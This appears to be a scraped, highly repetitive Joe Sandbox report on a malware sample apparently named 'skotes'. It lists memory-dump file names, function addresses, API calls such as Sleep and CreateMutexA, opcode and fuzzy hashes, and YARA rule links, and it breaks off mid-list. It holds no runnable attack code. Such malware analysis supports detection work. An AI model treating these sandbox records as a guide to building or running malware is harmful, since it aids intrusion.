Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 0cbbf2f2f96b09a546402626c8989722996cde680507580397ee91b190b52f33
Instruction ID: a960b1e6147f894f1add5f77d667da4f4fcbfb4b83d112e43753149d129649f8
Opcode Fuzzy Hash: 0cbbf2f2f96b09a546402626c8989722996cde680507580397ee91b190b52f33
Instruction Fuzzy Hash: 86314C717042008BEF19DB7CDCC97ADB7AAEBC7314F248229E094A72D1C73599808756

Function 00039ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: ced59a7272ff0b6e03627276a0a92c6cfc87e9e17590f5f11a634225e12a0586
Instruction ID: ebb7c0801d8e06678bbaade0b0ecfb1d76b8930280dc5b288a82a88e9344cb99
Opcode Fuzzy Hash: ced59a7272ff0b6e03627276a0a92c6cfc87e9e17590f5f11a634225e12a0586
Instruction Fuzzy Hash: 242149327042019BFF199B6CEC89B6DF7AAEBC2310F20422AE458D72D1DB7599808716

Function 0003A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: c1659becd39116c001127c81dec152eff8ac5644165fa06dd44592db08f7f3e5
Instruction ID: a113a16d56e84dc765ebec3491fc15330212a1e0192cd2ae4b1ea6de82ab8138
Opcode Fuzzy Hash: c1659becd39116c001127c81dec152eff8ac5644165fa06dd44592db08f7f3e5
Instruction Fuzzy Hash: 1D2130713492019AFB36676C9C5AB7D72D9DF83300F244417E5C8D62D2CF7949818253

Function 0003A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 7da8891262cab1a0b73a588e026d957b770633e4e868cf9152ca707ddb8a8b22
Instruction ID: c7e48c26592d3ab0fd9b2070d35489be1e1271756f319a932271d57f5875bc86
Opcode Fuzzy Hash: 7da8891262cab1a0b73a588e026d957b770633e4e868cf9152ca707ddb8a8b22
Instruction Fuzzy Hash: 272149727042009BFF199B6CDC8976DB7AAEBC2314F24422AF454E76D1CB769A808752

Non-executed Functions

Function 00032EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00032F5F
GetCurrentThreadId.KERNEL32 ref: 00032F7E
__Mtx_unlock.LIBCPMT ref: 00032FCC
__Cnd_broadcast.LIBCPMT ref: 00032FE3
__Mtx_unlock.LIBCPMT ref: 000330F5
GetCurrentThreadId.KERNEL32 ref: 00033132
__Mtx_unlock.LIBCPMT ref: 0003319B

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 1eca44cd70b4403f12d235a7afcb66f600c03c0dc6035d52ae13b793550cb24f
Instruction ID: 22d8314a3a6b4a6b7d5556e40612d7ed4d4852f86b99ed2a00d6ab5f8622aa95
Opcode Fuzzy Hash: 1eca44cd70b4403f12d235a7afcb66f600c03c0dc6035d52ae13b793550cb24f
Instruction Fuzzy Hash: F3A1E3B1A01205AFEB66DF64C984BAAB7F8FF15310F048539E815D7242EB75EA04CBD1

Function 0006CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0006CC66

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
